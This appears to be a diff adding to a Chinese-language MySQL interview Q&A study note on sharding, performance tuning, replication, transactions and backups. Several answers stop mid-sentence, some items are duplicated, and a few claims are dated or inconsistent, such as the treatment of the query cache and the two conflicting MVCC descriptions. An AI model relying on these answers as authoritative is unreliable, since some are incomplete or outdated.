+30-问题:如何解决MySQL分片环境下的跨节点事务问题? +答案:在分片环境下,跨节点的事务处理是一个挑战。一种常见的解决方法是使用两阶段提交协议,它保证了在所有相关节点上事务的全部提交或全部回滚。但是,这增加了系统的复杂性,并可能影响性能。因此,如果可能,应该尽量避免跨节点事务。 + +31-问题:什么是Percona XtraDB Cluster,它如何用于MySQL扩容? +答案:Percona XtraDB Cluster是一个高可用、无单点故障的MySQL集群解决方案。它基于Galera Cluster,提供了同步复制和自动节点管理等特性。使用Percona XtraDB Cluster,可以通过增加节点来扩展MySQL的读写能力,同时提供了故障切换和数据一致性的保障。 + +### Mysql 性能优化 + + +1-问题:怎样通过索引来优化MySQL查询? +答案:通过对搜索的字段创建索引,可以显著提高查询速度。例如,如果一个表经常根据某个字段进行查询,那么在这个字段上创建索引可以提高查询速度。此外,复合索引、前缀索引和覆盖索引等也可以用于优化查询。 + +2-问题:会如何找出并优化慢查询? +答案:可以通过开启MySQL的慢查询日志来找出执行时间过长的查询。对于这些查询,可以通过分析执行计划,优化SQL语句,添加合适的索引,或者调整数据库的配置来进行优化。 + +**答案:**以下是一些具体的步骤来找出和优化慢查询: + +**开启慢查询日志:**在MySQL中,可以设置`long_query_time`参数来定义何为“慢查询”,并开启`slow_query_log`来记录所有的慢查询。这样就可以通过查看慢查询日志来找出执行时间过长的查询了。 + +**分析执行计划:**使用`EXPLAIN`命令,可以查看MySQL如何执行一个查询。这可以帮助找出为什么查询会变慢,例如是否在进行全表扫描,是否使用了正确的索引等。 + +**优化SQL语句:**有时候,通过改变SQL语句的写法,可以提高查询的效率。例如,避免使用子查询,使用`JOIN`来代替,或者避免在`WHERE`子句中使用函数等。 + +**添加索引:**如果发现查询在某个列上的搜索很慢,可能就是因为这个列没有索引。通过添加索引,可以大大提高这个查询的效率。但是需要注意,添加索引也有开销,并且过多的索引会影响到插入和更新的性能。 + +**调整数据库配置:**根据系统的实际情况,调整数据库的配置也可以提高查询性能,例如增加缓存大小,优化锁定等。 + + +3-问题:什么是查询缓存?它是如何影响MySQL的性能的? +答案:查询缓存是MySQL用来存储SELECT查询结果的一种机制。如果一个相同的查询再次发生,MySQL会直接从查询缓存返回结果,而不需要再次执行查询。这可以大大提高查询速度。但是,如果一个表的数据频繁更新,那么查询缓存的效率就会降低,因为每次数据变动都会导致缓存失效。 + +4-问题:怎样通过分区来优化MySQL的性能? +答案:通过将一个大表分区为多个小表,可以改善查询性能。在查询时,MySQL只需要在一个或者少数几个分区上进行搜索,而不需要 + + +5-问题:什么是索引,以及如何在MySQL中使用索引来优化查询? +答案:索引是数据库用来快速找到记录的数据结构。在MySQL中,可以使用索引来优化查询,减少需要扫描的行数。创建索引应基于查询频繁的列,以及WHERE、ORDER BY和GROUP BY子句中使用的列。 +MySQL中的索引可以帮助数据库更快速地找到数据,从而极大地提升查询的效率。索引的实现方式和用法与我们在书籍中看到的索引类似,就像一本书的索引可以帮助快速找到想查找的内容,数据库索引也可以帮助数据库快速找到记录。 + +在MySQL中,常用的索引类型包括B-Tree索引(最常见的索引类型,用于InnoDB等存储引擎)、Hash索引(用于Memory存储引擎)以及全文索引(用于搜索文本列)等。 + + +> 对于MySQL的InnoDB存储引擎,它的主索引(也叫聚簇索引)的叶子节点确实存储了完整的行数据。所以,如果在"username"字段上创建了主索引,那么该索引的叶子节点就会包含对应的完整行数据。 + +> 然而,对于二级索引(也称为非聚簇索引),情况就不同了。非聚簇索引的叶子节点不包含完整的行数据,而只包含主键值(聚簇索引的键值)。当在"username"字段上创建一个非聚簇索引时,该索引的叶子节点将包含username的值和对应的主键值。当MySQL需要查找某个username的完整行数据时,它首先使用非聚簇索引找到主键值,然后使用主键值在聚簇索引中查找完整的行数据。这个过程被称为"回表"。 + +因此,一般来说,为了提高查询效率,应该尽量减少回表的次数。在设计表结构和索引时,应当尽量让查询能够直接在索引中获取所需的数据,而不需要回表。这就是所谓的"覆盖索引"查询。 + + +6-问题:请解释MySQL中的慢查询日志。 +答案:MySQL的慢查询日志是一种日志类型,可以记录查询执行时间超过指定时间阈值的所有SQL语句。这是一个重要的调试工具,可以帮助我们找出性能瓶颈,并对慢查询进行优化。 + + +8-问题:什么是数据库正则化,如何影响性能? +答案:数据库正则化是设计数据库结构以减少数据冗余和改善数据完整性的过程。正则化可以使数据库更容易维护,并减少存储空间的需求。然而,过度的正则化可能导致复杂的查询和连接,这可能会降低查询性能。 + +9-问题:如何优化MySQL的配置以提高性能? +答案:优化MySQL的配置可以包括调整缓冲池大小、设置合适的索引、合理配置表的存储引擎(如InnoDB或MyISAM)、调整查询缓存等。需要根据具体的应用和硬件环境来决定最佳的配置。 + +10-问题:什么是SQL的Explain命令,它如何用于优化查询? +答案:Explain命令可以显示MySQL如何执行一个SQL语句,包括使用了哪些索引,扫描了多少行等信息。通过分析Explain的结果,可以找出查询的瓶颈, + + +11-问题:如何处理MySQL中的"锁等待"问题? +答案:"锁等待"问题通常由事务并发控制引起,处理的方法有很多。可以优化查询以减少锁定时间,如使用更具效率的索引,减少全表扫描;也可以尝试调整事务隔离级别,以减少锁定需求。在某些情况下,将长事务分解成多个短事务也可以帮助。 + +12-问题:如何使用MySQL性能剖析器(profiler)来优化性能? +答案:MySQL性能剖析器可以为查询提供详细的执行信息,包括每个操作所花费的时间。通过剖析查询,可以找出性能瓶颈,并对查询进行优化,例如,改进索引或者重新编写SQL语句。 + +13-问题:如何优化大量插入的性能? +答案:优化大量插入的性能可以有多种策略,如:关闭自动提交,使用事务把多个插入操作包装起来;使用批量插入(一次插入多行);如果可能,可以先关闭索引,然后再进行插入操作,插入完成后再重新创建索引。 + +14-问题:如何优化MySQL的内存使用? +答案:优化MySQL的内存使用主要涉及合理配置MySQL的内存相关参数,如InnoDB缓冲池大小、查询缓存大小等。同时,优化SQL查询和索引也能有效减少内存的使用。 + +15-问题:什么是覆盖索引,它如何提高查询性能? +答案:覆盖索引是一种索引,其中包含查询中需要的所有字段的数据。当查询可以只通过索引就获取到所有需要的信息时,称为使用了覆盖索引。覆盖索引可以提高查询性能,因为存取索引通常比存取表要快。 + +16-问题:如何优化JOIN操作的性能? +答案:优化JOIN操作的性能可以有多种方式,如:只JOIN需要的字段,而不是整个表;尽可能在JOIN的字段上创建索引;使用EXPLAIN检查JOIN查询的执行计划,确认是否使用了最佳的索引;尽可能减少JOIN的表数量;优先JOIN行数少的表。 + +15-问题:如何使用MySQL的慢查询日志来优化数据库性能? +答案:慢查询日志记录了执行时间超过特定阈值的查询。通过分析慢查询日志,我们可以找到那些影响数据库性能的长时间运行的查询。对于这些查询,我们可以考虑修改SQL语句,添加或调整索引,或者改变查询逻辑等方式进行优化。 + +16-问题:当MySQL数据库性能下降时,会首先检查什么? +答案:当MySQL数据库性能下降时,我会首先检查以下几点:查看数据库服务器的CPU和内存使用情况,确认是否有资源瓶颈;检查慢查询日志,找出运行缓慢的查询;查看SHOW PROCESSLIST输出,确定是否有长时间运行的事务或者锁竞争;分析系统和硬件指标,如磁盘I/O,网络等。 + +17- 问题:什么是索引碎片?如何处理? +答案:当对MySQL数据库进行增删改操作时,索引可能会变得不连续,产生所谓的“碎片”。这可能会影响查询性能。我们可以使用OPTIMIZE TABLE命令来整理表和索引,减少碎片。 + +18-问题:请解释MySQL中InnoDB和MyISAM两种存储引擎的区别,并从性能角度进行比较。 +答案:InnoDB和MyISAM是MySQL最常见的两种存储引擎。主要区别在于:InnoDB支持事务,行级锁定,以及外键,而MyISAM不支持;MyISAM通常在读取密集的应用中表现更好,因为它可以缓存更多的数据,而InnoDB在写入密集的应用中表现更好,因为它使用了事务日志来保证数据的一致性。 + +19-问题:有没有使用过性能监控工具,如Percona Monitoring and Management (PMM)或者MySQL Workbench的Performance Dashboard? +答案:(这个答案取决于的经验,如果有使用过这些工具,可以描述一下如何使用它们来分析和优化MySQL性能。 + +**Percona Monitoring and Management (PMM)** 是一个开源的平台,它可以提供MySQL,MariaDB,MongoDB等数据库的性能监控和管理功能。PMM可以帮助找出性能瓶颈,监控数据库和服务器的性能指标,并提供数据优化的建议。可以使用PMM的图形界面来查看实时的或者历史的性能数据,包括查询速度,服务器负载,网络流量等。 + +**MySQL Workbench的Performance Dashboard** 是MySQL Workbench的一个功能,它也提供了一些实用的性能监控和管理工具。可以使用Performance Dashboard来查看MySQL服务器的实时性能数据,包括服务器状态,网络流量,磁盘使用情况等。也可以使用Performance Dashboard来执行性能诊断,找出性能瓶颈,并提供优化建议。 + + +20-问题:什么是数据库的读写分离?它是如何提高MySQL性能的? +答案:读写分离是将数据库的读和写操作分离到不同的服务器的技术。它可以提高MySQL性能,因为读操作通常比写操作更频繁,而且读操作可以在多个服务器上并行进行。读写分离还可以通过减轻主服务器的负载,提高其处理写操作和事务的能力。 + +21-问题:在MySQL中,哪些类型的查询可能导致全表扫描?如何避免? +答案:在MySQL中,如果一个查询没有使用索引,或者索引不能被有效使用,就可能导致全表扫描。例如,使用LIKE操作符的查询,如果匹配模式以通配符开始,那么索引可能就不能被有效使用。避免全表扫描的方法包括合理设计和使用索引,优化查询语句,以及适当地使用分区等。 + +22-问题:MySQL的复制如何影响性能?如何优化? +答案:MySQL的复制可能会影响性能,因为复制操作需要在主服务器上记录二进制日志,并在从服务器上重放这些日志。优化的方法包括:配置合适的复制策略,例如异步复制或半同步复制;适当地设置和使用复制过滤器;在从服务器上创建和使用索引,以提高重放日志的速度;使用高性能的硬件和网络连接。 + +23-问题:什么是子查询?子查询的性能如何?如何优化? +答案:子查询是嵌套在其他查询中的查询。在某些情况下,子查询的性能可能不如JOIN或者临时表。优化子查询的方法包括:尽可能将子查询转换为JOIN;在子查询的WHERE子句中使用限制,以减少返回的行数;在子查询返回的列上创建索引。 + +24-问题:请解释“读取优化”和“写入优化”在数据库性能优化中的角色。 +答案:读取优化主要是通过合理使用和设计索引、优化查询语句、利用查询缓存等方式,提升数据的读取速度和效率。写入优化则涉及到合理控制事务大小、合理选择存储引擎、批量插入、关闭索引等操作,以提升数据的写入速度和效率。二者在数据库性能优化中都起着关键作用。 + +25-问题:MySQL的FULLTEXT索引是什么?如何使用它来优化查询? +答案:FULLTEXT是一种专门用于提供全文搜索的索引类型。当需要对大段文本进行搜索时,FULLTEXT索引可以提供更高的性能。使用MATCH AGAINST语句可以查询FULLTEXT索引。 + +26-问题:在MySQL中,有哪些情况下索引可能不起作用? +答案:在以下情况下,MySQL可能不会使用索引:查询的结果集大于表数据的30%;LIKE语句以通配符开始;对列进行计算或函数操作;数据类型不一致导致的隐式类型转换;JOIN操作中列类型不匹配。 + +27-问题:如何确定是否需要为某个列创建索引? +答案:需要考虑以下因素:列的基数(唯一值的数量);列是否经常出现在查询条件、排序、聚合等操作中;索引的维护开销;索引对查询性能的提升。 + +28-问题:在MySQL中,有哪些方法可以减少锁的竞争? +答案:减少锁的竞争可以通过以下方法:尽量使用更小粒度的锁,如行锁;减少锁定时间,尽快完成事务;优化查询以减少需要锁定的行数;使用乐观锁或悲观锁策略。 + +28-问题:请解释MySQL中的查询优化器是如何工作的。 +答案:查询优化器负责决定查询的执行计划。它会考虑多种可能的查询方法,如是否使用索引,选择哪种索引,怎样排序和分组等。优化器通过比较不同计划的成本来选择最有效的执行计划。 + + +### Mysql 复制 + +1-问题:请简述MySQL复制的工作原理。 +答案:在MySQL复制中,有两种角色:主服务器和从服务器。主服务器执行写操作,这些操作通过二进制日志(binary log)记录下来。从服务器将主服务器的binary log复制到其relay log,然后从relay log中读取事件并将其应用到本地数据。 + +2-问题:请描述主从复制和主主复制的区别。 +答案:在主从复制中,只有一个主服务器对数据库进行写入,而从服务器则负责读取数据。在主主复制中,两个服务器都可以写入数据。主主复制的主要优点是可以提供更高的可用性,但它可能导致冲突,需要有冲突解决机制。 + +3-问题:如何设置MySQL的主从复制? +答案:设置主从复制主要有以下步骤:1) 配置主服务器,打开binary log并设置server-id;2) 在主服务器上创建一个用于复制的用户;3) 在从服务器上设置主服务器的地址,用户和密码,并设置自己的server-id;4) 在从服务器上启动复制。 + +4-问题:MySQL复制中的延迟是什么?如何处理复制延迟? +答案:在MySQL复制中,从服务器可能不能立即应用主服务器的改变,这就产生了延迟。处理复制延迟的方法包括:优化网络连接,提升从服务器的性能,减少主服务器的负载,使用半同步复制等。 + +5-问题:什么是半同步复制?它与异步复制有什么区别? +答案:在半同步复制中,主服务器在提交事务后会等待至少一个从服务器确认接收到了这个 + + +6-问题:如何检查MySQL的复制状态? +答案:在从服务器上,可以通过SHOW SLAVE STATUS命令来检查复制状态,这个命令会返回一些信息,如主服务器的位置、复制的延迟以及复制是否出错等。 + +7-问题:如果复制出错,会如何处理? +答案:首先,需要识别错误的原因。这可以通过查看从服务器的错误日志或SHOW SLAVE STATUS的输出来完成。一旦确定了错误的原因,可以采取适当的修复措施,如修复数据不一致,解决网络问题,或更正错误的SQL语句等。在修复错误后,可以使用START SLAVE命令来重新开始复制。 + +8-问题:什么是GTID?它在MySQL复制中有什么作用? +答案:GTID(全局事务标识)是MySQL中的一个特性,它为每个事务赋予一个唯一的标识。在复制中,GTID有助于使主从服务器保持一致,并且可以简化切换主服务器的过程。 + +9-问题:MySQL的并行复制是什么?它如何工作的? +答案:MySQL的并行复制是指从服务器并行应用来自主服务器的多个事务,以提高复制的效率。这需要事务之间没有依赖关系,即它们可以在任何顺序下执行而不会改变结果。并行复制可以通过设置slave_parallel_workers参数来启用。 + +10-问题:MySQL复制中的读写分离是什么?它的优点是什么? +答案:读写分离是指将读操作和写操作分别发送到不同的服务器(从服务器和主服务器)上执行。这样可以提高系统的吞吐量,因为主服务器和从服务器可以并行处理请求。此外,还可以提高数据的可用性和可靠性,因为从服务器可以作为主服务器的备份。 + +11-问题:MySQL中有哪些不同的复制类型? +答案:MySQL主要支持以下几种复制类型:基于语句的复制(SBR),基于行的复制(RBR)和混合模式复制(MIXED)。基于语句的复制是将执行的SQL语句记录到二进制日志中,而基于行的复制则是记录表中行的更改。混合模式则会根据操作动态选择使用SBR还是RBR。 + +12-问题:什么是多源复制?它的应用场景是什么? +答案:多源复制是指一个从服务器可以从多个主服务器复制数据。这可以用于聚合来自多个源的数据,或者为了提高从服务器的利用率。 + +13-问题:复制对MySQL的性能有什么影响? +答案:虽然复制可以提高数据的可用性和可靠性,但它也会对性能产生影响。复制需要额外的磁盘I/O来写二进制日志,还需要CPU和内存来应用复制事件。如果网络带宽有限,复制数据还会消耗网络资源。 + +14-问题:请描述一下在MySQL中二进制日志文件(binary log)的作用。 +答案:二进制日志文件是MySQL复制的关键部分,所有的数据修改(如插入、更新和删除)都会记录在这里。此外,二进制日志文件也是恢复(point-in-time recovery)和审计的重要工具。 + +15-问题:在复制中如何处理主从同步的延迟问题? +答案:处理主从同步延迟可以采取的措施包括:优化查询以减少主服务器的负载;升级硬件,如使用更快的磁盘或提高网络带宽;在从服务器上使用并行复制;减少主服务器上的写入量;增加更多的从服务器来分担读取的负载。 + +16-问题:请解释什么是MySQL的GTID复制? +答案:GTID复制是一种新的复制方式,它通过为每一个事务赋予一个全局唯一的事务ID(GTID)来跟踪复制的进度,从而简化了复制和故障恢复的管理。 + +17-问题:MySQL的复制过程中如何避免主从数据不一致? +答案:避免主从数据不一致可以通过以下方式:确保所有的写操作都只在主服务器上执行;不要在从服务器上执行能改变数据的SQL语句;使用行基复制(row-based replication);定期使用工具如pt-table-checksum来检查数据一致性。 + +18-问题:MySQL复制中,relay log是什么? +答案:relay log是从服务器上的一种日志文件,它保存了从主服务器复制过来的二进制日志事件。这些事件将被从服务器线程读取并执行,以实现主从服务器之间的数据同步。 + +> 在MySQL中,`redo log`,`undo log`,和 `relay log` 都是重要的日志文件,它们各自有特定的用途: + +> **Redo Log:** 主要用于实现事务的持久性(durability),保障在数据库突然崩溃的情况下,已提交的事务数据不会丢失。当InnoDB引擎进行数据修改时,不会立即修改表的数据和索引,而是先将这个操作记录在Redo log中,然后再逐渐将这个操作的影响应用到表的数据和索引上。如果此时数据库崩溃,MySQL可以通过Redo log来重做这些操作,确保数据的一致性。 + +> **Undo Log:** 主要用于实现事务的原子性(atomicity)和一致性(consistency),以及实现多版本并发控制(MVCC)。当InnoDB引擎进行数据修改时,Undo log会记录修改前的数据,这样,如果事务需要回滚,就可以通过Undo log将数据恢复到修改前的状态。此外,当其他事务需要读取这个数据时,如果数据已经被修改,但是修改还未提交,那么就可以通过Undo log读取修改前的数据,实现非锁定读。 + +> **Relay Log:** 在MySQL的主从复制中使用,当主数据库的binlog日志传到从数据库时,从数据库会首先写进Relay log,然后再进行重做(replay)。Relay log记录了从服务器需要从主服务器获取和处理的所有更新。如果从服务器中断了连接,它可以稍后使用这些日志来恢复操作。 + + + +19-问题:在MySQL中什么是主主复制?其有什么优点和缺点? +答案:主主复制是指两个MySQL服务器可以同时接受写操作的复制模式。其优点包括:提供了更高的可用性,因为任一节点都可以接受写操作,如果一个节点失败,另一个节点可以继续提供服务。其缺点包括:可能会产生数据冲突,比如两个服务器同时写入了相同的键值;需要更复杂的管理,比如必须确保所有的写操作都使用了唯一的ID。 + +20-问题:MySQL中有一种称为"半同步复制"的机制,它是如何工作的? +答案:在半同步复制中,当主服务器执行了一个事务后,它将等待至少一个从服务器确认已经收到了该事务的数据,然后才将该事务提交。这种方式保证了在主服务器发生故障的情况下,至少有一个从服务器包含了所有提交的事务。 + +21-问题:如果从服务器落后于主服务器太多,将如何处理? +答案:可以采取以下策略来处理从服务器落后的问题:1) 检查和优化从服务器的性能;2) 检查网络连接,确保它有足够的带宽;3) 优化主服务器上的写负载;4) 如果可能,将一些读请求路由到其他从服务器。 + +22-问题:MySQL复制失败,会如何进行故障排查? +答案:复制失败的故障排查可以从以下几个步骤开始:1) 检查SHOW SLAVE STATUS的输出,看是否有错误信息;2) 检查MySQL的错误日志,查找是否有相关的错误或警告;3) 检查网络连接是否正常;4) 确认从服务器能否成功连接到主服务器,并且有正确的复制权限。 + +23-问题:是否使用过任何第三方的MySQL复制工具,如Tungsten Replicator或者其他? +答案:这个答案取决于的经验,如果使用过,可以详细描述的使用经验和该工具的优缺点。 + + +24-问题:请解释在MySQL中,什么是"复制过滤"? +答案:复制过滤是指MySQL在复制过程中,允许我们只复制特定的数据库或表。我们可以在主服务器(通过--binlog-do-db或--binlog-ignore-db选项)或从服务器(通过--replicate-do-db或--replicate-ignore-db选项)上设置复制过滤。 + +25-问题:请描述一下MySQL在云环境中(例如AWS, Google Cloud等)的复制策略? +答案:在云环境中,MySQL的复制策略通常是多主复制或主从复制。例如在Amazon RDS上,可以设置一个多可用区(Multi-AZ)部署,其中有一个主实例和一个同步复制的备份实例。在Google Cloud SQL,也可以设置主从复制,主实例处理写操作,从实例可以处理读操作。 + +26-问题:什么是"延迟复制"?它的应用场景是什么? +答案:"延迟复制"是指在从服务器上延迟执行复制的操作。其应用场景包括:防止操作错误(如果在主服务器上误删除数据,可以在操作到达从服务器前停止复制以恢复数据);创建时间点备份(可以设置复制延迟为一个固定时间,如一小时,这样从服务器的数据就相当于是一小时前主服务器上的备份)。 + +27-问题:在复制过程中,如何确保数据的一致性? +答案:确保复制数据一致性的策略包括:1) 只在主服务器上执行写操作;2) 使用行级复制(RBR)可以减少因为执行不确定性SQL导致的数据不一致;3) 定期进行数据校验;4) 如果检测到数据不一致,停止复制并修复数据,然后再继续复制。 + +28-问题:请解释在MySQL中为什么会出现复制延迟? +答案:复制延迟可以由许多原因造成,其中最常见的是主服务器的负载过高,导致从服务器无法即时应用所有的更改;网络延迟或带宽不足也可能导致复制延迟。另外,如果从服务器的硬件资源(如CPU、内存或磁盘I/O)不足,或者从服务器上的查询效率较低,都可能导致复制延迟。 + +29-问题:是如何监控MySQL复制的? +答案:监控MySQL复制可以使用许多工具和方法,例如:使用SHOW SLAVE STATUS命令查看复制的状态和性能指标;设置警报,如果复制延迟超过阈值或复制出错,可以发出警报;使用性能监控工具,如Percona Monitoring and Management (PMM),可以提供复制的实时监控和历史数据分析。 + +30-问题:请解释在MySQL中什么是"半同步复制"和"全同步复制",它们的区别是什么? +答案:"半同步复制"是指主服务器在执行事务后,会等待至少一个从服务器确认已经收到了这个事务的信息,然后才提交这个事务。而"全同步复制"是指主服务器在执行事务后,会等待所有从服务器都确认收到了这个事务的信息,然后才提交这个事务。主要的区别在于,全同步复制提供了更高的数据一致性,但可能会导致更高的延迟。 + +31-问题:在MySQL复制中,什么是"全局事务标识符"(GTID)? +答案:"全局事务标识符"(GTID)是MySQL在复制过程中用于跟踪每个事务的方法。每个事务都有一个唯一的GTID,无论这个事务是否已经被复制到从服务器,都可以通过GTID来找到。这样就能简化故障恢复和主从切换。 +全局事务标识符(GTID)为MySQL复制带来了一种更直观、更可靠的方式来跟踪已经执行的事务。以下是GTID如何简化故障恢复和主从切换的原因: + +唯一性:每个事务都有一个唯一的GTID,这意味着无论在哪个服务器上,该事务都有相同的标识符。这消除了在不同服务器上对相同事务使用不同坐标的可能性。 + +事务的连续性:GTID确保了事务的连续性。这意味着,如果知道某个GTID已经被应用,那么所有之前的GTID都已经被应用。 + +自动化的复制位置管理:在传统的文件和位置基础的复制中,当进行主从切换时,需要手动指定复制的位置。而使用GTID,MySQL可以自动确定从哪里开始复制,因为它知道最后一个已经应用的GTID是什么。 + +简化的故障恢复:如果主服务器失败,从服务器可以轻松地提升为新的主服务器,因为它知道已经应用了哪些事务。不需要手动干预来确定复制的位置。 + +更容易的延迟复制或部分复制:由于GTID提供了对每个事务的明确跟踪,所以更容易实现如延迟复制或选择性复制这样的高级复制策略。 + +避免重复执行事务:由于每个事务都有一个唯一的GTID,从服务器可以确保它不会重复执行相同的事务。 + +综上所述,GTID为MySQL复制提供了一个更简单、更可靠的方法,特别是在涉及故障恢复和主从切换的场景中。 + +32-问题:如何理解MySQL中的“主-从复制”模式? +答案:在"主-从复制"模式中,有一个主服务器负责处理写操作,而从服务器则复制主服务器上的更改。从服务器可以用来处理读操作,这样可以分担主服务器的负载。这种模式可以提高数据的可用性和冗余,也使得负载均衡和故障切换变得更容易。 + +### Mysql 安全 + +### Mysql 事务管理 + +1-问题:请解释一下什么是数据库事务? +答案:数据库事务是一个作为单个逻辑单位的工作流,它由一个或多个相关的SQL语句组成。一个事务要么全部成功(提交),要么全部失败(回滚)。如果事务成功,那么它对数据库的更改就会被永久保存。如果事务失败,那么它对数据库的更改就会被撤销。 + +2-问题:请解释一下事务的四个基本属性(ACID)。 +答案:事务的四个基本属性包括原子性(Atomicity),一致性(Consistency),隔离性(Isolation)和持久性(Durability)。原子性意味着事务的所有操作要么全部完成,要么全部不完成。一致性意味着事务应该把数据库从一个一致的状态转变为另一个一致的状态。隔离性意味着每个事务应该独立于其他事务运行。持久性意味着一旦事务被提交,它对数据库的更改就是永久的。 + +3-问题:MySQL支持哪些类型的事务隔离级别,它们有什么不同? +答案:MySQL支持四种事务隔离级别:读未提交(READ UNCOMMITTED),读已提交(READ COMMITTED),可重复读(REPEATABLE READ)和可串行化(SERIALIZABLE)。这四种级别的主要区别在于如何处理并发事务,每个级别都解决了不同的并发问题(如脏读、不可重复读和幻读)。 + +可以通过以下命令设置MySQL事务隔离级别: + +```shell +SET TRANSACTION ISOLATION LEVEL ; +其中, 参数可以是下列值之一: +``` +READ UNCOMMITTED:最低级别的事务隔离级别,允许事务读取未提交的数据,可能会导致脏读、不可重复读和幻读问题。 +READ COMMITTED:允许事务读取已提交的数据,可以避免脏读问题,但仍可能会出现不可重复读和幻读问题。 +REPEATABLE READ:保证在同一事务中多次读取同一数据时,结果始终相同,可以避免脏读和不可重复读问题,但仍可能会出现幻读问题。 +SERIALIZABLE:最高级别的事务隔离级别,完全禁止并发事务,可以避免脏读、不可重复读和幻读问题,但会对性能造成较大影响。 + +4-问题:在MySQL中,怎样开始、提交和回滚一个事务? +答案:在MySQL中,可以使用START TRANSACTION或BEGIN命令来开始一个事务,使用COMMIT命令来提交一个事务,使用ROLLBACK命令来回滚一个事务。 + +5-问题:在MySQL中,什么是锁定,它在事务中起什么作用? +答案:在MySQL中,锁定是一种控制并发访问数据库的机制。在事务中,锁定可以确保在事务处理期间,数据保持一致,不会被其他事务干扰。根据不同的需要,MySQL提供了多种类型的锁,如共享锁和排他锁。 + +6-**问题:什么是MVCC? 它在MySQL中如何工作的?** + +答案:多版本并发控制(MVCC)是一种用于控制多个用户同时访问同一数据的机制,而无需等待锁。在MySQL中,MVCC通过在每行记录上保存两个隐藏的字段来实现:一个保存行的创建时间,另一个保存行的过期(删除)时间。这些时间值是“逻辑时钟”,不是实际的日期时间。 + +7-**问题:InnoDB引擎的锁有哪些类型,各有什么特点?** +答案:InnoDB引擎主要有两种类型的锁:共享锁(S)和排他锁(X)。共享锁是读锁,允许事务读取一行数据;排他锁是写锁,允许事务删除或更新一行数据。除此之外,InnoDB还支持意向锁,它们是在表级别上设置的,用于告知引擎事务希望在行级别上获得哪种类型的锁。 + +8-**问题:说说对脏读、幻读、不可重复读的理解。** + +答案:脏读是一个事务能读取到另一个尚未提交的事务的数据。不可重复读是指在同一事务内,多次读取同样的数据返回的结果有所不同。幻读是指在事务内读取的一些行的集合,再次读取时,数量上有所不同。 + +9-**问题:为什么要使用事务?不使用事务会有什么影响?** + +答案:事务能确保数据库的完整性和一致性。如果不使用事务,那么在出现错误时,数据库可能处于一个不一致的状态。如果一个操作序列涉及更改多个数据项,所有这些更改应当作为一个单元来处理,要么全部提交,要么全部回滚。如果没有事务,就可能导致只有部分操作被执行,从而破坏数据库的一致性。 + +10-**问题:在MySQL中,什么是乐观锁和悲观锁?** + +答案:乐观锁和悲观锁是处理并发问题的两种策略。乐观锁假设冲突是不可能发生的,只在提交操作时检查是否有冲突。而悲观锁则假设冲突总是会发生,因此在数据处理前就进行加锁操作。乐观锁适用于读操作较多的场景,而悲观锁则适用于写操作较多的场景。 + +11-**问题:解释一下在MySQL中MVCC是如何工作的?** + +答案:MVCC(多版本并发控制)是一种用于解决数据库读写冲突的方法,实现了读不阻塞写,写不阻塞读。在InnoDB存储引擎中,每条记录在更新时都会产生一个新的版本,读操作总是访问记录的旧版本。这样就可以在保证数据一致性的同时提高并发性能。 + +12-**问题:请解释MySQL的savepoint,以及如何使用?** + +答案:在MySQL中,savepoint是一个事务中的特定点,可以在事务中创建多个savepoint。如果事务出现问题,可以回滚到某个savepoint,而不是回滚整个事务。可以使用`SAVEPOINT savepoint_name`来创建一个savepoint,使用`ROLLBACK TO savepoint_name`回滚到某个savepoint。 + +13-**问题:如何理解并发控制协议二阶段锁协议(2PL)?MySQL的InnoDB存储引擎是如何实现的?** + +答案:二阶段锁协议是一种避免数据库事务的并发问题的方法。按照此协议,事务分为两个阶段进行,获取锁的阶段和释放锁的阶段。InnoDB使用2PL来保证事务的隔离性,即在一个事务持有的锁未释放前,其他事务不能获得冲突的锁。 + +14-**问题:如果一个长时间运行的事务对系统的性能产生了影响,应该怎么办?** +答案:长时间运行的事务可能会导致系统性能下降。应尽量避免长时间运行的事务,可以通过将大事务分解为多个 + +15-**问题:为什么事务需要写日志?** + +答案:事务日志是为了保证事务的持久性。在事务执行过程中,所有的修改都会先写入到日志中。即使在事务执行过程中系统崩溃,也可以通过重放日志来恢复数据。 + +16-**问题:什么是MVCC?MySQL是如何实现的?** + +答案:MVCC,全称多版本并发控制(Multi-Version Concurrency Control),是一种用于控制数据库并发访问的方法,通过在每行记录中保存两个隐藏的列来实现,一个用于记录该行创建的时间,一个用于记录过期时间(或删除时间)。在MySQL的InnoDB引擎中,MVCC通过在每行记录中保存两个隐藏的列来实现,一个用于记录该行创建时的事务ID,一个用于保存删除该行的事务ID。 + +17-**问题:什么是MySQL的两阶段锁定协议?** + +答案:两阶段锁定协议是一种事务管理的协议,旨在解决资源的并发和事务执行的原子性问题。协议分为两个阶段:加锁阶段和解锁阶段。在加锁阶段,事务可以请求锁定资源,但不能释放任何锁。在解锁阶段,事务可以释放锁,但不能再请求任何新的锁。 + + +> 二阶段提交(Two-Phase Commit,2PC)和二阶段锁定协议(Two-Phase Locking,2PL)是数据库管理系统中常用的并发控制技术。 + +> 二阶段提交(2PC)是一种分布式事务协议,用于确保在多个数据库节点上执行的事务能够保持原子性和一致性。2PC 协议包含两个阶段: + +准备阶段(Prepare Phase):协调者(Coordinator)向所有参与者(Participant)发送准备请求(Prepare Request),询问它们是否可以执行该事务。如果所有参与者都可以执行该事务,则返回“预提交”(Pre-Commit)响应,否则返回“中止”(Abort)响应。 + +提交阶段(Commit Phase):如果所有参与者都返回了“预提交”响应,则协调者向所有参与者发送提交请求(Commit Request),请求它们正式提交该事务。如果其中任何一个参与者无法提交该事务,则协调者向所有参与者发送中止请求(Abort Request),要求它们回滚该事务。最终,所有参与者都将提交或回滚该事务。 + +> 二阶段锁定协议(2PL)是一种事务控制协议,用于确保并发事务之间的数据一致性。2PL 协议包含两个阶段: + +加锁阶段(Locking Phase):事务需要在操作数据之前先获得相应的锁,并将锁保持到事务结束。在该阶段中,事务可以获得共享锁或排他锁。共享锁用于读取数据,排他锁用于修改数据。 + +解锁阶段(Unlocking Phase):事务在操作完成后,需要释放获得的锁,使其他事务能够操作相应的数据。在该阶段中,事务将持有的锁全部释放。 + +18-**问题:什么是间隙锁?** + +答案:间隙锁是InnoDB用于防止幻读的一种机制。间隙锁不仅锁定一个记录,而且锁定一个记录之间的间隙。这可以防止其他事务在这个范围内插入新的记录,从而保证了可重复读和串行化隔离级别的正确性。 + +### Mysq 备份和恢复 + +1-问题:请解释一下MySQL的两种备份方式:物理备份和逻辑备份? +标准答案:物理备份是指复制数据库的实际文件,例如数据文件、日志文件等。这种方式备份和恢复速度快,但是缺点是移植性差。逻辑备份是指备份数据库的逻辑内容,如表的创建语句、数据的插入语句等。它的优点是移植性好,可以跨平台、跨版本恢复,但是备份和恢复速度较慢。 + 